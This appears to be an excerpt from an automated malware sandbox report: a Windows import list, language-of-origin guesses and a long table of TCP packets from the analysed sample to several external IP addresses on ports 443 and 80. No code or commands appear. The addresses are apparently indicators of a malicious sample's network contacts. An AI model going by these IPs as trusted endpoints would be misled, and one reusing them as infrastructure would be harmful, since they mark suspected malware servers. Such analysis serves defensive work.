GetProfileSectionW, CloseHandle, CreateFileW, CreateActCtxA, GetComputerNameA, DeleteFileA, MultiByteToWideChar, GetCommandLineA, HeapSetInformation, EncodePointer, DecodePointer, IsProcessorFeaturePresent, InterlockedDecrement, GetOEMCP, GetCPInfo, IsValidCodePage, TlsAlloc, TlsSetValue, GetCurrentThreadId, GetModuleHandleW, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, ExitProcess, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, IsBadReadPtr, HeapCreate, WriteFile, RaiseException, GetStringTypeW, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, RtlUnwind, LCMapStringW, SetFilePointer, GetConsoleCP, HeapAlloc, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, FlushFileBuffers, SetStdHandle
USER32.dll	GetMessageTime
GDI32.dll	GetBitmapBits

Version Infos

Description	Data
Translations	0x0522 0x023c

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Paraguay

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2021 22:25:01.553885937 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.553946972 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.554100990 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.582321882 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.582360983 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.633461952 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.643618107 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.643707991 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.646087885 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.646122932 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.647444963 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.647578001 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.650669098 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.650835037 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.650958061 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.650985003 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.696105003 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.696156025 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.696235895 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.698080063 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.698115110 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.730086088 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.730199099 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.732168913 CET	49766	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:01.732187986 CET	443	49766	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:01.772150993 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.775315046 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.775336027 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.775933981 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.775947094 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.777961969 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.778060913 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.782418966 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.782555103 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.782965899 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.782983065 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.783210039 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.783238888 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.783268929 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.783579111 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.783605099 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.784306049 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.784318924 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.784534931 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.784542084 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:01.784960032 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:01.784965992 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:02.501104116 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:02.501286983 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:02.501344919 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:02.504738092 CET	49767	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:02.504760027 CET	443	49767	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:05.701504946 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.701569080 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.701719999 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.703013897 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.703043938 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.744570971 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.744950056 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.744986057 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.746225119 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.746238947 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.750170946 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.750269890 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.754371881 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.754563093 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.754573107 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.796874046 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.799844027 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.799962044 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.800424099 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.800445080 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:05.800538063 CET	49768	443	192.168.2.5	104.21.34.203
Nov 11, 2021 22:25:05.800554037 CET	443	49768	104.21.34.203	192.168.2.5
Nov 11, 2021 22:25:07.988898993 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:07.988941908 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:07.989073992 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:07.991437912 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:07.991463900 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.052999020 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.054362059 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.054382086 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.055402994 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.055418968 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.056902885 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.057037115 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.060318947 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.060437918 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.061651945 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.061671019 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.140813112 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.155725956 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.155833006 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.155944109 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.156546116 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.156572104 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:08.156582117 CET	49771	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:08.156590939 CET	443	49771	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.141105890 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.141148090 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.141226053 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.142776012 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.142803907 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.202318907 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.208945036 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.208993912 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.209681988 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.209697008 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.212490082 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.212585926 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.246828079 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.246990919 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.247129917 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.301996946 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.302262068 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.311348915 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.311786890 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.311804056 CET	49774	443	192.168.2.5	172.67.139.144
Nov 11, 2021 22:25:26.311815023 CET	443	49774	172.67.139.144	192.168.2.5
Nov 11, 2021 22:25:26.357521057 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.374105930 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.374274969 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.375209093 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.391666889 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406486988 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406542063 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406584978 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406624079 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406661987 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.406678915 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406692028 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.406740904 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406785011 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406826019 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406843901 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.406886101 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406925917 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.406944036 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.406991959 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407030106 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407052040 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407087088 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407129049 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407155991 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407182932 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407232046 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407233953 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407283068 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407325983 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407334089 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407382011 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407423019 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407433987 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407478094 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407520056 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407531977 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407573938 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407614946 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407632113 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407663107 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407708883 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407715082 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407762051 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407800913 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407840014 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407857895 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407896996 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407937050 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.407954931 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.407993078 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408035994 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408046007 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.408091068 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408134937 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408143044 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.408188105 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408231020 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408241987 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.408287048 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408325911 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408340931 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.408380985 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408423901 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408437014 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.408479929 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408521891 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408539057 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.408576012 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408618927 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408628941 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.408684015 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408721924 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.408746004 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.408781052 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.409209013 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.425251007 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.425297976 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.425337076 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.425371885 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.425391912 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.425432920 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.425482035 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.425904989 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.425947905 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.425987005 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426028967 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426064014 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426084995 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426131010 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426171064 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426213026 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426219940 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426273108 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426278114 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426330090 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426373005 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426383972 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426428080 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426470995 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426479101 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426527023 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426531076 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426582098 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426621914 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426640987 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426677942 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426724911 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426742077 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426774025 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426817894 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426846027 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.426876068 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426918983 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426959038 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.426980972 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427016020 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427067041 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427067041 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427119970 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427139997 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427175999 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427218914 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427258015 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427273989 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427304029 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427313089 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427361012 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427400112 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427409887 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427455902 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427500963 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427539110 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427572966 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427589893 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427592039 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427645922 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427685976 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427720070 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427741051 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427786112 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427803040 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427841902 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427886009 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427917004 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.427921057 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.427975893 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.428033113 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.428072929 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.428103924 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.441956043 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.442013979 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.442089081 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.444469929 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444513083 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444546938 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.444552898 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444596052 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444607019 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.444633961 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444667101 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444688082 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.444740057 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444782019 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444820881 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444885015 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444928885 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.444943905 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.444968939 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445008039 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445039034 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445049047 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445084095 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445089102 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445130110 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445171118 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445172071 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445209026 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445221901 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445245028 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445286036 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445312977 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445322990 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445363045 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445389032 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445403099 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445441961 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445461035 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445482969 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445519924 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445550919 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445574045 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445612907 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445627928 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445652962 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445693970 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445733070 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445749044 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445772886 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445794106 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445815086 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445853949 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445867062 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.445893049 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445933104 CET	80	49775	104.21.92.165	192.168.2.5
